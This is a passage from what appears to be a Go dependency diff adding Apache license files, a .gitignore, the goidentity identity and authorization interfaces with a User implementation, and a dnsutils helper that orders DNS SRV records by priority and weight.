- sudo sed -i 's/nameserver .*/nameserver 127.0.0.1/g' /etc/resolv.conf
|
||||
|
||||
env:
|
||||
- DNSUTILS_OVERRIDE_NS="127.0.0.1:53"
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
+95
@@ -0,0 +1,95 @@
|
||||
package dnsutils
|
||||
|
||||
import (
|
||||
"math/rand"
|
||||
"net"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// OrderedSRV returns a count of the results and a map keyed on the order they should be used.
|
||||
// This based on the records' priority and randomised selection based on their relative weighting.
|
||||
// The function's inputs are the same as those for net.LookupSRV
|
||||
// To use in the correct order:
|
||||
//
|
||||
// count, orderedSRV, err := OrderedSRV(service, proto, name)
|
||||
// i := 1
|
||||
// for i <= count {
|
||||
// srv := orderedSRV[i]
|
||||
// // Do something such as dial this SRV. If fails move on the the next or break if it succeeds.
|
||||
// i += 1
|
||||
// }
|
||||
func OrderedSRV(service, proto, name string) (int, map[int]*net.SRV, error) {
|
||||
_, addrs, err := net.LookupSRV(service, proto, name)
|
||||
if err != nil {
|
||||
return 0, make(map[int]*net.SRV), err
|
||||
}
|
||||
index, osrv := orderSRV(addrs)
|
||||
return index, osrv, nil
|
||||
}
|
||||
|
||||
func orderSRV(addrs []*net.SRV) (int, map[int]*net.SRV) {
|
||||
// Initialise the ordered map
|
||||
var o int
|
||||
osrv := make(map[int]*net.SRV)
|
||||
|
||||
prioMap := make(map[int][]*net.SRV, 0)
|
||||
for _, srv := range addrs {
|
||||
prioMap[int(srv.Priority)] = append(prioMap[int(srv.Priority)], srv)
|
||||
}
|
||||
|
||||
priorities := make([]int, 0)
|
||||
for p := range prioMap {
|
||||
priorities = append(priorities, p)
|
||||
}
|
||||
|
||||
var count int
|
||||
sort.Ints(priorities)
|
||||
for _, p := range priorities {
|
||||
tos := weightedOrder(prioMap[p])
|
||||
for i, s := range tos {
|
||||
count += 1
|
||||
osrv[o+i] = s
|
||||
}
|
||||
o += len(tos)
|
||||
}
|
||||
return count, osrv
|
||||
}
|
||||
|
||||
func weightedOrder(srvs []*net.SRV) map[int]*net.SRV {
|
||||
// Get the total weight
|
||||
var tw int
|
||||
for _, s := range srvs {
|
||||
tw += int(s.Weight)
|
||||
}
|
||||
|
||||
// Initialise the ordered map
|
||||
o := 1
|
||||
osrv := make(map[int]*net.SRV)
|
||||
|
||||
// Whilst there are still entries to be ordered
|
||||
l := len(srvs)
|
||||
for l > 0 {
|
||||
i := rand.Intn(l)
|
||||
s := srvs[i]
|
||||
var rw int
|
||||
if tw > 0 {
|
||||
// Greater the weight the more likely this will be zero or less
|
||||
rw = rand.Intn(tw) - int(s.Weight)
|
||||
}
|
||||
if rw <= 0 {
|
||||
// Put entry in position
|
||||
osrv[o] = s
|
||||
if len(srvs) > 1 {
|
||||
// Remove the entry from the source slice by swapping with the last entry and truncating
|
||||
srvs[len(srvs)-1], srvs[i] = srvs[i], srvs[len(srvs)-1]
|
||||
srvs = srvs[:len(srvs)-1]
|
||||
l = len(srvs)
|
||||
} else {
|
||||
l = 0
|
||||
}
|
||||
o += 1
|
||||
tw = tw - int(s.Weight)
|
||||
}
|
||||
}
|
||||
return osrv
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
# Binaries for programs and plugins
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
|
||||
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
|
||||
.glide/
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright {yyyy} {name of copyright owner}
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
# goidentity
|
||||
|
||||
Standard interface to holding authenticated identities and their attributes.
|
||||
|
||||
To get the package, execute:
|
||||
```
|
||||
go get gopkg.in/jcmturner/goidentity.v3
|
||||
```
|
||||
To import this package, add the following line to your code:
|
||||
```go
|
||||
import "gopkg.in/jcmturner/goidentity.v3"
|
||||
|
||||
```
|
||||
+6
@@ -0,0 +1,6 @@
|
||||
package goidentity
|
||||
|
||||
type Authenticator interface {
|
||||
Authenticate() (Identity, bool, error)
|
||||
Mechanism() string // gives the name of the type of authentication mechanism
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
package goidentity
|
||||
|
||||
import "time"
|
||||
|
||||
const (
|
||||
CTXKey = "jcmturner/goidentity"
|
||||
)
|
||||
|
||||
type Identity interface {
|
||||
UserName() string
|
||||
SetUserName(s string)
|
||||
Domain() string
|
||||
SetDomain(s string)
|
||||
DisplayName() string
|
||||
SetDisplayName(s string)
|
||||
Human() bool
|
||||
SetHuman(b bool)
|
||||
AuthTime() time.Time
|
||||
SetAuthTime(t time.Time)
|
||||
AuthzAttributes() []string
|
||||
AddAuthzAttribute(a string)
|
||||
RemoveAuthzAttribute(a string)
|
||||
Authenticated() bool
|
||||
SetAuthenticated(b bool)
|
||||
Authorized(a string) bool
|
||||
SessionID() string
|
||||
Expired() bool
|
||||
Attributes() map[string]interface{}
|
||||
SetAttribute(k string, v interface{})
|
||||
SetAttributes(map[string]interface{})
|
||||
RemoveAttribute(k string)
|
||||
}
|
||||
+154
@@ -0,0 +1,154 @@
|
||||
package goidentity
|
||||
|
||||
import (
|
||||
"github.com/hashicorp/go-uuid"
|
||||
"time"
|
||||
)
|
||||
|
||||
type User struct {
|
||||
authenticated bool
|
||||
domain string
|
||||
userName string
|
||||
displayName string
|
||||
email string
|
||||
human bool
|
||||
groupMembership map[string]bool
|
||||
authTime time.Time
|
||||
sessionID string
|
||||
expiry time.Time
|
||||
attributes map[string]interface{}
|
||||
}
|
||||
|
||||
func NewUser(username string) User {
|
||||
uuid, err := uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
uuid = "00unique-sess-ions-uuid-unavailable0"
|
||||
}
|
||||
return User{
|
||||
userName: username,
|
||||
groupMembership: make(map[string]bool),
|
||||
sessionID: uuid,
|
||||
}
|
||||
}
|
||||
|
||||
func (u *User) UserName() string {
|
||||
return u.userName
|
||||
}
|
||||
|
||||
func (u *User) SetUserName(s string) {
|
||||
u.userName = s
|
||||
}
|
||||
|
||||
func (u *User) Domain() string {
|
||||
return u.domain
|
||||
}
|
||||
|
||||
func (u *User) SetDomain(s string) {
|
||||
u.domain = s
|
||||
}
|
||||
|
||||
func (u *User) DisplayName() string {
|
||||
if u.displayName == "" {
|
||||
return u.userName
|
||||
}
|
||||
return u.displayName
|
||||
}
|
||||
|
||||
func (u *User) SetDisplayName(s string) {
|
||||
u.displayName = s
|
||||
}
|
||||
|
||||
func (u *User) Human() bool {
|
||||
return u.human
|
||||
}
|
||||
|
||||
func (u *User) SetHuman(b bool) {
|
||||
u.human = b
|
||||
}
|
||||
|
||||
func (u *User) AuthTime() time.Time {
|
||||
return u.authTime
|
||||
}
|
||||
|
||||
func (u *User) SetAuthTime(t time.Time) {
|
||||
u.authTime = t
|
||||
}
|
||||
|
||||
func (u *User) AuthzAttributes() []string {
|
||||
s := make([]string, len(u.groupMembership))
|
||||
i := 0
|
||||
for a := range u.groupMembership {
|
||||
s[i] = a
|
||||
i++
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func (u *User) Authenticated() bool {
|
||||
return u.authenticated
|
||||
}
|
||||
|
||||
func (u *User) SetAuthenticated(b bool) {
|
||||
u.authenticated = b
|
||||
}
|
||||
|
||||
func (u *User) AddAuthzAttribute(a string) {
|
||||
u.groupMembership[a] = true
|
||||
}
|
||||
|
||||
func (u *User) RemoveAuthzAttribute(a string) {
|
||||
if _, ok := u.groupMembership[a]; !ok {
|
||||
return
|
||||
}
|
||||
delete(u.groupMembership, a)
|
||||
}
|
||||
|
||||
func (u *User) EnableAuthzAttribute(a string) {
|
||||
if enabled, ok := u.groupMembership[a]; ok && !enabled {
|
||||
u.groupMembership[a] = true
|
||||
}
|
||||
}
|
||||
|
||||
func (u *User) DisableAuthzAttribute(a string) {
|
||||
if enabled, ok := u.groupMembership[a]; ok && enabled {
|
||||
u.groupMembership[a] = false
|
||||
}
|
||||
}
|
||||
|
||||
func (u *User) Authorized(a string) bool {
|
||||
if enabled, ok := u.groupMembership[a]; ok && enabled {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (u *User) SessionID() string {
|
||||
return u.sessionID
|
||||
}
|
||||
|
||||
func (u *User) SetExpiry(t time.Time) {
|
||||
u.expiry = t
|
||||
}
|
||||
|
||||
func (u *User) Expired() bool {
|
||||
if !u.expiry.IsZero() && time.Now().UTC().After(u.expiry) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (u *User) Attributes() map[string]interface{} {
|
||||
return u.attributes
|
||||
}
|
||||
|
||||
func (u *User) SetAttribute(k string, v interface{}) {
|
||||
u.attributes[k] = v
|
||||
}
|
||||
|
||||
func (u *User) SetAttributes(a map[string]interface{}) {
|
||||
u.attributes = a
|
||||
}
|
||||
|
||||
func (u *User) RemoveAttribute(k string) {
|
||||
delete(u.attributes, k)
|
||||
}
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
